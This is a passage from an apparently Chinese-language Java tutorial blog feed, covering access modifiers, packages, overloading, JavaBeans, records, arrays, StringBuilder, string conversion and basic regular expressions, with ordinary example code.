&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;private&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;经验法则&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;字段：&lt;strong&gt;一律 &lt;code&gt;private&lt;/code&gt;&lt;/strong&gt;，需要暴露就写 getter/setter&lt;/li&gt;
&lt;li&gt;构造器：一般 &lt;code&gt;public&lt;/code&gt;（想禁止外部实例化则 &lt;code&gt;private&lt;/code&gt;，比如单例）&lt;/li&gt;
&lt;li&gt;方法：内部实现 &lt;code&gt;private&lt;/code&gt;，对外 API &lt;code&gt;public&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;常量：&lt;code&gt;public static final&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;public class BankAccount {
    private double balance;              // 私有字段，外部无法直接改

    public double getBalance() {         // 只暴露 getter，不允许外部修改
        return balance;
    }

    public void deposit(double amount) { // 通过方法修改，可以加校验
        if (amount &amp;lt;= 0) {
            throw new IllegalArgumentException(&quot;金额必须大于 0&quot;);
        }
        balance += amount;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;包与 import&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;包&lt;/strong&gt;（package）是 Java 的模块系统，用来组织类、避免命名冲突。包名对应目录结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;src/
└── com/
    └── example/
        └── model/
            ├── User.java         // package com.example.model;
            └── Admin.java        // package com.example.model;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个 &lt;code&gt;.java&lt;/code&gt; 文件第一行声明所属包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.model;

public class User { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;import 引入其他包的类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import java.util.List;              // 引入单个类
import java.util.ArrayList;
import java.time.*;                 // 引入整个包（不推荐，容易命名冲突）
import static java.lang.Math.PI;    // 引入静态成员，之后可以直接写 PI
import static java.lang.Math.*;     // 引入所有静态成员
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;几个常用的隐式导入&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;java.lang.*&lt;/code&gt; 自动导入（&lt;code&gt;String&lt;/code&gt;、&lt;code&gt;Integer&lt;/code&gt;、&lt;code&gt;Math&lt;/code&gt;、&lt;code&gt;System&lt;/code&gt; 都不用 import）&lt;/li&gt;
&lt;li&gt;同一个包里的类互相不用 import&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;命名约定&lt;/h3&gt;
&lt;p&gt;包名用&lt;strong&gt;反向域名&lt;/strong&gt;开头，全小写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;com.company.project.module
com.example.blog.controller
org.apache.commons.lang3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;方法重载（Overload）&lt;/h2&gt;
&lt;p&gt;同一个类里，&lt;strong&gt;方法名相同、参数列表不同&lt;/strong&gt;叫重载。返回类型可以相同也可以不同，但&lt;strong&gt;不能只靠返回类型区分&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Calculator {
    public int add(int a, int b) { return a + b; }
    public double add(double a, double b) { return a + b; }
    public int add(int a, int b, int c) { return a + b + c; }
    public String add(String a, String b) { return a + b; }

    // ❌ 只有返回类型不同不构成重载
    // public int add(int a, int b) { return a + b; }
    // public double add(int a, int b) { return a + b; }   // 编译错误
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 标准库里重载非常常见，比如 &lt;code&gt;System.out.println&lt;/code&gt; 就有 10 个重载版本（&lt;code&gt;int&lt;/code&gt;、&lt;code&gt;long&lt;/code&gt;、&lt;code&gt;double&lt;/code&gt;、&lt;code&gt;String&lt;/code&gt;、&lt;code&gt;Object&lt;/code&gt;...）。&lt;/p&gt;
&lt;h2&gt;JavaBean 约定&lt;/h2&gt;
&lt;p&gt;JavaBean 是一种约定俗成的类结构，用来表示&quot;数据对象&quot;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;有一个 &lt;code&gt;public&lt;/code&gt; 无参构造器&lt;/li&gt;
&lt;li&gt;字段全部 &lt;code&gt;private&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;每个字段有 &lt;code&gt;public&lt;/code&gt; 的 getter/setter，命名遵循 &lt;code&gt;getXxx&lt;/code&gt; / &lt;code&gt;setXxx&lt;/code&gt;（&lt;code&gt;boolean&lt;/code&gt; 用 &lt;code&gt;isXxx&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;可序列化（实现 &lt;code&gt;Serializable&lt;/code&gt; 接口，可选）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;public class User implements java.io.Serializable {
    private String name;
    private int age;
    private boolean active;

    public User() {}

    public User(String name, int age, boolean active) {
        this.name = name;
        this.age = age;
        this.active = active;
    }

    public String getName() { return name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return age; }
    public void setAge(int age) { this.age = age; }

    public boolean isActive() { return active; }   // boolean 用 is
    public void setActive(boolean active) { this.active = active; }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写业务代码时 getter/setter 一般由 &lt;strong&gt;IDE 自动生成&lt;/strong&gt;（IDEA：&lt;code&gt;Alt+Insert&lt;/code&gt;；VS Code：右键 → Source Action），或者用 &lt;strong&gt;Lombok&lt;/strong&gt; 库的 &lt;code&gt;@Data&lt;/code&gt; 注解一键生成。&lt;/p&gt;
&lt;h2&gt;record：不可变数据类（JDK 14+）&lt;/h2&gt;
&lt;p&gt;如果只是要一个&quot;纯数据容器&quot;，用 &lt;code&gt;record&lt;/code&gt; 一行搞定，编译器自动生成 getter、&lt;code&gt;equals&lt;/code&gt;、&lt;code&gt;hashCode&lt;/code&gt;、&lt;code&gt;toString&lt;/code&gt;、构造器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public record Point(int x, int y) {}

// 使用
Point p = new Point(3, 4);
p.x();               // 3，getter 名字就是字段名，不加 get
p.y();               // 4
System.out.println(p);   // &quot;Point[x=3, y=4]&quot;，toString 自动生成

// 两个 Point 只要 x/y 相同就相等
new Point(1, 2).equals(new Point(1, 2));   // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;record&lt;/code&gt; 的限制：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;字段隐式 &lt;code&gt;private final&lt;/code&gt;，&lt;strong&gt;不能修改&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;不能继承其他类（隐式继承 &lt;code&gt;java.lang.Record&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;可以实现接口&lt;/li&gt;
&lt;li&gt;可以加静态字段、静态方法、实例方法&lt;/li&gt;
&lt;li&gt;可以加&quot;紧凑构造器&quot;做校验：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;public record User(String name, int age) {
    public User {
        if (age &amp;lt; 0) throw new IllegalArgumentException(&quot;年龄不能为负&quot;);
        if (name == null) throw new NullPointerException(&quot;name 不能为 null&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;用 record 的场景&lt;/strong&gt;：DTO、坐标、键值对、多返回值。&lt;strong&gt;不用 record 的场景&lt;/strong&gt;：需要修改字段的实体类（用传统 class + Lombok）。&lt;/p&gt;
&lt;h2&gt;综合小例子：图书管理&lt;/h2&gt;
&lt;p&gt;把这一阶段的语法组合起来，写一个简易的图书管理类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.example.library;

import java.time.LocalDate;
import java.util.ArrayList;
import java.util.List;

public class Book {
    private static int totalBooks = 0;

    private final String isbn;
    private String title;
    private String author;
    private double price;
    private boolean borrowed;
    private LocalDate publishedAt;
    private List&amp;lt;String&amp;gt; tags;

    public Book(String isbn, String title, String author, double price) {
        this.isbn = isbn;
        this.title = title;
        this.author = author;
        this.price = price;
        this.borrowed = false;
        this.publishedAt = LocalDate.now();
        this.tags = new ArrayList&amp;lt;&amp;gt;();
        totalBooks++;
    }

    // 便捷构造器：只传必要信息
    public Book(String isbn, String title) {
        this(isbn, title, &quot;Unknown&quot;, 0.0);
    }

    public void borrow() {
        if (borrowed) {
            throw new IllegalStateException(&quot;《&quot; + title + &quot;》已被借出&quot;);
        }
        borrowed = true;
    }

    public void returnBook() {
        borrowed = false;
    }

    public void addTag(String tag) {
        tags.add(tag);
    }

    // Getters
    public String getIsbn() { return isbn; }
    public String getTitle() { return title; }
    public String getAuthor() { return author; }
    public double getPrice() { return price; }
    public boolean isBorrowed() { return borrowed; }
    public List&amp;lt;String&amp;gt; getTags() { return List.copyOf(tags); }

    public static int getTotalBooks() { return totalBooks; }

    @Override
    public String toString() {
        return &quot;《%s》 by %s (ISBN: %s)%s&quot;.formatted(
            title, author, isbn, borrowed ? &quot; [已借出]&quot; : &quot;&quot;
        );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class LibraryDemo {
    public static void main(String[] args) {
        Book b1 = new Book(&quot;978-7-115-42802-8&quot;, &quot;Java 核心技术&quot;, &quot;Cay Horstmann&quot;, 148.0);
        b1.addTag(&quot;Java&quot;);
        b1.addTag(&quot;编程&quot;);

        Book b2 = new Book(&quot;978-7-111-21382-6&quot;, &quot;算法导论&quot;);

        System.out.println(b1);
        System.out.println(b2);

        b1.borrow();
        try {
            b1.borrow();
        } catch (IllegalStateException e) {
            System.out.println(e.getMessage());
        }

        System.out.println(&quot;馆藏总数：&quot; + Book.getTotalBooks());
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 类的基本结构
package com.example.model;

import java.util.List;

public class User {
    // 静态字段
    private static int count;
    public static final String ROLE = &quot;user&quot;;

    // 实例字段（private + getter/setter）
    private String name;
    private int age;

    // 构造器
    public User() { this(&quot;Anonymous&quot;); }
    public User(String name) {
        this.name = name;
        count++;
    }

    // 实例方法
    public String greet() { return &quot;Hi &quot; + name; }
    public String getName() { return name; }
    public void setName(String n) { this.name = n; }

    // 静态方法
    public static int getCount() { return count; }
}

// 使用
User u = new User(&quot;Tom&quot;);
u.greet();
User.getCount();          // 静态方法通过类名调用

// record（JDK 14+）
public record Point(int x, int y) {}
Point p = new Point(1, 2);
p.x();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;记忆要点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;类字段声明类型；构造器名字 = 类名，没有返回类型&lt;/li&gt;
&lt;li&gt;默认构造器只在你&lt;strong&gt;没写任何构造器&lt;/strong&gt;时才自动提供&lt;/li&gt;
&lt;li&gt;&lt;code&gt;this(...)&lt;/code&gt; 调用其他构造器，必须在第一行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;static&lt;/code&gt; 属于类，不能用 &lt;code&gt;this&lt;/code&gt;；实例方法必须通过实例调用&lt;/li&gt;
&lt;li&gt;访问修饰符：&lt;code&gt;private&lt;/code&gt; 字段 + &lt;code&gt;public&lt;/code&gt; getter/setter 是最常见的封装方式&lt;/li&gt;
&lt;li&gt;包名反向域名，全小写；&lt;code&gt;java.lang&lt;/code&gt; 自动导入&lt;/li&gt;
&lt;li&gt;方法重载：同名不同参；不能只靠返回类型区分&lt;/li&gt;
&lt;li&gt;JavaBean 约定：无参构造 + private 字段 + getter/setter&lt;/li&gt;
&lt;li&gt;纯数据类用 &lt;code&gt;record&lt;/code&gt;，一行搞定不可变数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下一阶段进入继承与多态——Java OOP 真正有意思的部分。&lt;/p&gt;
</content:encoded></item><item><title>Java 阶段四：数组与字符串</title><link>http://117.72.32.87/blog/posts/java-roadmap-04-arrays-and-strings/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-04-arrays-and-strings/</guid><description>数组的声明/遍历/拷贝、多维数组、Arrays 工具类，以及字符串进阶：StringBuilder、StringJoiner、正则。</description><pubDate>Thu, 03 Sep 2026 01:00:00 GMT</pubDate><content:encoded>&lt;p&gt;数组和字符串是任何语言里最常用的两种数据结构。Java 的数组是&lt;strong&gt;固定长度的对象&lt;/strong&gt;，字符串是&lt;strong&gt;不可变的对象&lt;/strong&gt;——这两个&quot;限制&quot;直接影响日常写法。字符串的基础（不可变、常量池、&lt;code&gt;equals&lt;/code&gt;、&lt;code&gt;format&lt;/code&gt;）在阶段二讲过，这里主要补数组和字符串的进阶用法。&lt;/p&gt;
&lt;h2&gt;数组基础&lt;/h2&gt;
&lt;h3&gt;声明与初始化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 三种声明方式
int[] a1;             // 推荐写法，类型是&quot;int 数组&quot;
int a2[];             // C 风格，也合法但不推荐
int[] a3, a4;         // 一次声明多个数组

// 初始化方式一：指定长度，元素用默认值填充
int[] nums = new int[5];        // [0, 0, 0, 0, 0]
String[] names = new String[3]; // [null, null, null]
boolean[] flags = new boolean[3];   // [false, false, false]

// 初始化方式二：直接给元素
int[] primes = {2, 3, 5, 7, 11};
int[] alsoPrimes = new int[]{2, 3, 5, 7, 11};   // 完整写法

// 长度是数组的**字段**，不是方法
primes.length;   // 5，注意没有括号
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;默认值规律&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;默认值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;byte&lt;/code&gt; / &lt;code&gt;short&lt;/code&gt; / &lt;code&gt;int&lt;/code&gt; / &lt;code&gt;long&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt; / &lt;code&gt;0L&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;float&lt;/code&gt; / &lt;code&gt;double&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0.0f&lt;/code&gt; / &lt;code&gt;0.0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;char&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&apos;\u0000&apos;&lt;/code&gt;（空字符）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;boolean&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;引用类型（&lt;code&gt;String&lt;/code&gt;、自定义类等）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;null&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;访问与遍历&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int[] nums = {10, 20, 30, 40, 50};

nums[0];        // 10
nums[4];        // 50
nums[5];        // ❌ ArrayIndexOutOfBoundsException
nums[-1];       // ❌ 同样越界，Java 不支持负索引

nums[0] = 100;  // 修改

// 方式一：普通 for（可以拿到索引）
for (int i = 0; i &amp;lt; nums.length; i++) {
    System.out.println(i + &quot;: &quot; + nums[i]);
}

// 方式二：增强 for（只关心元素）
for (int n : nums) {
    System.out.println(n);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对比 JS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nums.forEach((n, i) =&amp;gt; console.log(i, n));
nums.map(n =&amp;gt; n * 2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Java 数组本身&lt;strong&gt;没有 &lt;code&gt;map&lt;/code&gt;、&lt;code&gt;filter&lt;/code&gt; 这些方法&lt;/strong&gt;，需要转成 &lt;code&gt;Stream&lt;/code&gt; 或用 &lt;code&gt;Arrays&lt;/code&gt; 工具类：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Arrays;

int[] doubled = Arrays.stream(nums).map(n -&amp;gt; n * 2).toArray();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Stream 相关内容在阶段十详细讲。&lt;/p&gt;
&lt;h3&gt;数组拷贝&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int[] src = {1, 2, 3, 4, 5};

// 方式一：直接赋值——不是拷贝！只是引用同一个数组
int[] ref = src;
ref[0] = 99;
System.out.println(src[0]);   // 99，src 也变了

// 方式二：clone()
int[] copy1 = src.clone();

// 方式三：Arrays.copyOf（可以指定新长度）
int[] copy2 = Arrays.copyOf(src, 3);        // [1, 2, 3]
int[] copy3 = Arrays.copyOf(src, 7);        // [1, 2, 3, 4, 5, 0, 0]，多出的补默认值

// 方式四：Arrays.copyOfRange（左闭右开）
int[] copy4 = Arrays.copyOfRange(src, 1, 4);   // [2, 3, 4]

// 方式五：System.arraycopy（性能最好，最底层）
int[] dest = new int[5];
System.arraycopy(src, 0, dest, 0, src.length);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数组比较与打印&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int[] a = {1, 2, 3};
int[] b = {1, 2, 3};

// ❌ == 比较引用地址
System.out.println(a == b);              // false

// ✅ 比较内容
System.out.println(Arrays.equals(a, b)); // true

// ❌ 直接打印是内存地址
System.out.println(a);                   // [I@1540e19d

// ✅ 打印内容
System.out.println(Arrays.toString(a));  // [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;排序与查找&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int[] nums = {5, 2, 8, 1, 9};

Arrays.sort(nums);                       // 原地排序：[1, 2, 5, 8, 9]
System.out.println(Arrays.toString(nums));

// 二分查找（必须先排序）
int idx = Arrays.binarySearch(nums, 8);  // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对对象数组排序需要传比较器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String[] words = {&quot;banana&quot;, &quot;apple&quot;, &quot;cherry&quot;};
Arrays.sort(words);                                  // 字典序
Arrays.sort(words, (x, y) -&amp;gt; y.compareTo(x));        // 逆序
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;数组转 List&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Integer[] nums = {1, 2, 3};

// 方式一：Arrays.asList（返回的是&quot;视图&quot;，长度固定，不能 add/remove）
List&amp;lt;Integer&amp;gt; view = Arrays.asList(nums);

// 方式二：new ArrayList&amp;lt;&amp;gt;(Arrays.asList(...))（可变）
List&amp;lt;Integer&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(Arrays.asList(nums));

// 方式三：List.of（JDK 9+，不可变）
List&amp;lt;Integer&amp;gt; immutable = List.of(1, 2, 3);

// 方式四：Stream（JDK 8+）
List&amp;lt;Integer&amp;gt; fromStream = Arrays.stream(nums).toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;基本类型数组不能直接转 &lt;code&gt;List&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[] nums = {1, 2, 3};
List&amp;lt;int[]&amp;gt; wrong = Arrays.asList(nums);   // 长度是 1 的 List，元素是整个 int[] 数组

// 正确做法：先转 IntStream 再装箱
List&amp;lt;Integer&amp;gt; right = Arrays.stream(nums).boxed().toList();
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h2&gt;多维数组&lt;/h2&gt;
&lt;p&gt;Java 的多维数组本质是&quot;数组的数组&quot;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 二维数组
int[][] matrix = new int[3][4];       // 3 行 4 列，全是 0

int[][] grid = {
    {1, 2, 3},
    {4, 5, 6},
    {7, 8, 9}
};

grid.length;         // 3，行数
grid[0].length;      // 3，第一行列数

// 遍历
for (int i = 0; i &amp;lt; grid.length; i++) {
    for (int j = 0; j &amp;lt; grid[i].length; j++) {
        System.out.print(grid[i][j] + &quot; &quot;);
    }
    System.out.println();
}

// 增强 for
for (int[] row : grid) {
    for (int n : row) {
        System.out.print(n + &quot; &quot;);
    }
    System.out.println();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;不规则数组&lt;/strong&gt;（每行长度不同）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[][] jagged = new int[3][];
jagged[0] = new int[]{1, 2};
jagged[1] = new int[]{3, 4, 5};
jagged[2] = new int[]{6};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三维以上类似，但实际业务里几乎用不到——用嵌套的 &lt;code&gt;List&amp;lt;List&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; 或专门的类更清晰。&lt;/p&gt;
&lt;h2&gt;字符串进阶&lt;/h2&gt;
&lt;h3&gt;StringBuilder 与 StringBuffer&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;String&lt;/code&gt; 不可变，任何&quot;修改&quot;操作都返回新对象。&lt;strong&gt;循环拼接必须用 &lt;code&gt;StringBuilder&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 慢：每次 += 都创建新 String，O(n²)
String s = &quot;&quot;;
for (int i = 0; i &amp;lt; 10000; i++) {
    s += i;
}

// ✅ 快：内部是可变字符数组，O(n)
StringBuilder sb = new StringBuilder();
for (int i = 0; i &amp;lt; 10000; i++) {
    sb.append(i);
}
String result = sb.toString();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常用方法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;StringBuilder sb = new StringBuilder();

sb.append(&quot;hello&quot;);           // 追加
sb.append(&quot; &quot;).append(&quot;world&quot;);   // 链式调用
sb.insert(5, &quot;,&quot;);            // 在索引 5 插入
sb.delete(0, 5);              // 删除 [0, 5)
sb.replace(0, 5, &quot;Hi&quot;);       // 替换
sb.reverse();                 // 反转
sb.length();                  // 当前长度
sb.toString();                // 转成 String

// 指定初始容量，避免多次扩容
StringBuilder big = new StringBuilder(1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;StringBuilder&lt;/code&gt; vs &lt;code&gt;StringBuffer&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;StringBuilder&lt;/code&gt;：&lt;strong&gt;非线程安全&lt;/strong&gt;，性能高。&lt;strong&gt;日常写业务用这个&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StringBuffer&lt;/code&gt;：&lt;strong&gt;线程安全&lt;/strong&gt;（方法加了 &lt;code&gt;synchronized&lt;/code&gt;），性能略低。多线程共享时才用。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;99% 场景选 &lt;code&gt;StringBuilder&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;StringJoiner&lt;/h3&gt;
&lt;p&gt;拼接多个字符串并带分隔符，比手动 &lt;code&gt;StringBuilder&lt;/code&gt; 更清爽：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.StringJoiner;

StringJoiner joiner = new StringJoiner(&quot;, &quot;);
joiner.add(&quot;apple&quot;);
joiner.add(&quot;banana&quot;);
joiner.add(&quot;cherry&quot;);
System.out.println(joiner.toString());   // &quot;apple, banana, cherry&quot;

// 带前缀后缀
StringJoiner bracketed = new StringJoiner(&quot; | &quot;, &quot;[&quot;, &quot;]&quot;);
bracketed.add(&quot;a&quot;).add(&quot;b&quot;);
System.out.println(bracketed);   // &quot;[a | b]&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者直接用 &lt;code&gt;String.join&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;String csv = String.join(&quot;,&quot;, &quot;a&quot;, &quot;b&quot;, &quot;c&quot;);   // &quot;a,b,c&quot;
String fromList = String.join(&quot;-&quot;, List.of(&quot;x&quot;, &quot;y&quot;, &quot;z&quot;));   // &quot;x-y-z&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;字符串与其他类型转换&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 数字 → 字符串
String s1 = String.valueOf(123);
String s2 = Integer.toString(123);

// 字符串 → 数字
int n = Integer.parseInt(&quot;123&quot;);
double d = Double.parseDouble(&quot;3.14&quot;);

// 字符数组 ↔ 字符串
char[] chars = {&apos;h&apos;, &apos;i&apos;};
String fromChars = new String(chars);       // &quot;hi&quot;
char[] back = fromChars.toCharArray();      // [&apos;h&apos;, &apos;i&apos;]

// 字节数组 ↔ 字符串（编码相关）
byte[] bytes = &quot;hello&quot;.getBytes(StandardCharsets.UTF_8);
String fromBytes = new String(bytes, StandardCharsets.UTF_8);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
&lt;strong&gt;处理字符串和字节互转时永远显式指定字符集&lt;/strong&gt;，不指定的话 Java 会用平台默认编码（Windows 上可能是 GBK，Linux 上是 UTF-8），跨平台必出问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;hello&quot;.getBytes(StandardCharsets.UTF_8);   // ✅
// &quot;hello&quot;.getBytes();                       // ❌ 依赖平台
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h2&gt;正则表达式&lt;/h2&gt;
&lt;p&gt;Java 的正则在 &lt;code&gt;java.util.regex&lt;/code&gt; 包里，主要用 &lt;code&gt;Pattern&lt;/code&gt; 和 &lt;code&gt;Matcher&lt;/code&gt; 两个类：&lt;/p&gt;
&lt;h3&gt;基本匹配&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import java.util.regex.*;

Pattern pattern = Pattern.compile(&quot;\\d+&quot;);    // 匹配一个或多个数字
Matcher matcher = pattern.matcher(&quot;abc123def456&quot;);

while (matcher.find()) {
    System.out.println(matcher.group());      // &quot;123&quot; &quot;456&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;注意反斜杠要转义&lt;/strong&gt;：正则里的 &lt;code&gt;\d&lt;/code&gt; 在 Java 字符串中要写成 &lt;code&gt;&quot;\\d&quot;&lt;/code&gt;，因为 &lt;code&gt;\&lt;/code&gt; 本身是字符串的转义字符。&lt;/p&gt;
&lt;h3&gt;简化写法：String 内置方法&lt;/h3&gt;
&lt;p&gt;不用完整 &lt;code&gt;Pattern/Matcher&lt;/code&gt; 时，&lt;code&gt;String&lt;/code&gt; 提供了几个便捷方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// matches：整个字符串是否匹配
&quot;12345&quot;.matches(&quot;\\d+&quot;);              // true
&quot;abc123&quot;.matches(&quot;\\d+&quot;);             // false（必须整体匹配）

// replaceAll：正则替换
&quot;a1b2c3&quot;.replaceAll(&quot;\\d&quot;, &quot;*&quot;);      // &quot;a*b*c*&quot;

// split：正则分割
&quot;a,b;;c  d&quot;.split(&quot;[,;\\s]+&quot;);        // [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;, &quot;d&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用正则片段&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;目标&lt;/th&gt;
&lt;th&gt;正则&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;数字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\\d+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;非数字&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\\D+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;单词字符（字母数字下划线）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\\w+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;空白字符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\\s+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;中文字符&lt;/td&gt;
&lt;td&gt;&lt;code&gt;[\\u4e00-\\u9fa5]+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮箱（简易）&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\\w+@\\w+\\.\\w+&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;手机号（大陆）&lt;/td&gt;
